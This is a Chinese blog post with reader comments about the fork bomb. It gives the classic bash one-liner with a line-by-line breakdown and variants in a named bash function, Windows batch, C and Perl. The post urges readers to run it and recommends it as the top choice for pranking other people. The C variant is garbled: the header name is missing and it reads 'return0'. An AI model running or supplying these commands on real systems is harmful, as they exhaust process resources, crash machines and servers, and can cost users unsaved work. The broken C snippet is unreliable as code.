当前位置:首页 > 代码·功能 > 正文

一条命令搞死电脑/VPS服务器的Fork炸弹

前几天Group里静哥哥在那里用Fork炸弹向他的VPS上作死,结果VPS独立IP被搞到无响应,然后…无法重启了,这个大贱银,为了报复那个空间提供商的坑爹客服,呸呸呸,那客服也是个贱银~

然而,我却看到他的作死,发了个fuck炸弹,我也是醉了…20150614114924

这个坑爹大炸弹叫”Fork bomb”,2002年由Jaromil设计,通过不断fork出新的进程,一生二,二生四,四生八…然后指数爆炸,迅速耗光电脑资源。(就和细菌繁殖差不多…)进程递归式派生(fork,亦即自我复制),以使系统拒绝服务甚至崩溃。

:(){ :|:& };:

具体命令 ,如上,获取你觉得好简单,但是实际运行的话,呵呵呵呵…用自己电脑开Linux运行,结果…笔记本…然后我拔掉了电池…你可是试一下哈~~
以下程序段就是由Jaromil所作的在类UNIX系统的shell环境下触发fork炸弹的shell脚本代码,总共只用了13个字符(包括空格):
:(){ :|:& };:
注解如下:
:() # 定义函数,函数名为":",即每当输入":"时就会自动调用{}内代码
{ # ":"函数开始标识
: # 用递归方式调用":"函数本身
| # 并用管道(pipe)将其输出引至...
: # 另一次递归调用的":"函数
# 综上,":|:"表示的即是每次调用函数":"的时候就会生成两份拷贝
& # 调用间脱钩,以使最初的":"函数被杀死后为其所调用的两个":"函数还能继续执行
} # ":"函数结束标识
; # ":"函数定义结束后将要进行的操作...
: # 调用":"函数,"引爆"fork炸弹
其中函数名“:”只是简化的一例,实际实现时可以随意设定,一个较易理解(将函数名替换为“forkbomb”)的版本如下:
forkbomb(){ forkbomb|forkbomb &} ; forkbomb
Windows下则可以批处理命令如下实现:
%0|%0
POSIX标准下的C与C++的实现:
#include int main(){while(1) fork();return0;}
Perl语言的实现:
fork while fork

在系统中成功“引爆”fork炸弹后,我们可重启来使系统恢复正常运行;

而若要以手动的方法使fork炸弹“熄火”,那前提就是必须杀死fork炸弹产生的所有进程。

为此我们可以考虑使用程序来杀死fork炸弹产生的进程,但由于这一般需要创建新进程,且由于fork炸弹一直在探测与占用进程槽与内存空间,因而这一方法几乎不可能实现,而且用kill命令杀死进程后,释放出的进程槽又会被余下的fork炸弹线程所产生的新进程占用,在Windows下,用户可以退出当前用户会话的方式使系统恢复正常,但此法奏效的前提是fork炸弹是在该用户的特定会话内触发的。

所以,如果觉得自己家电脑不爽,或者要坑坑人,那么fork炸弹就是首选咯~

标签:
上一篇: 下一篇:

7 条评论

评论加载中...
  1. 学习了

    2015年7月13日 14:29 评论
  2. 5楼
    来自天朝的朋友 谷歌浏览器 Windows 8
    吴尼玛  

    确实。。。。自黑

    2015年7月6日 10:08 评论
  3. 4楼
    来自天朝的朋友 搜狗浏览器 Windows 7
    a970127920  

    我就是随便看看

    2015年6月17日 17:19 评论
  4. 地板
    这家伙可能用了美佬的代理 谷歌浏览器 Windows 7
    锋子  

    恭喜你自黑成功……

    2015年6月17日 09:00 评论
    • 幻殺あ殤璃  

      现在VPS还没连接上,一直无响应

      2015年6月17日 09:19 评论
  5. 板凳
    来自天朝的朋友 谷歌浏览器 Windows 7
    七支剑  

    简直了

    2015年6月16日 21:02 评论
  6. 沙发
    来自天朝的朋友 火狐浏览器 Windows 7
    中国历史  

    貌似很可怕的样子

    2015年6月14日 20:45 评论

发表评论

不理你。不要啊!吃饭。吃惊。吃西瓜。飞吻!恭喜!Hi纠结!膜拜!OK抛媚眼。泡泡糖。抛钱。忍!生闷气!调皮。偷看。委屈。献花。疑问?抓狂!

小提示:Ctrl+Enter快速提交助您一臂之力~
加载中……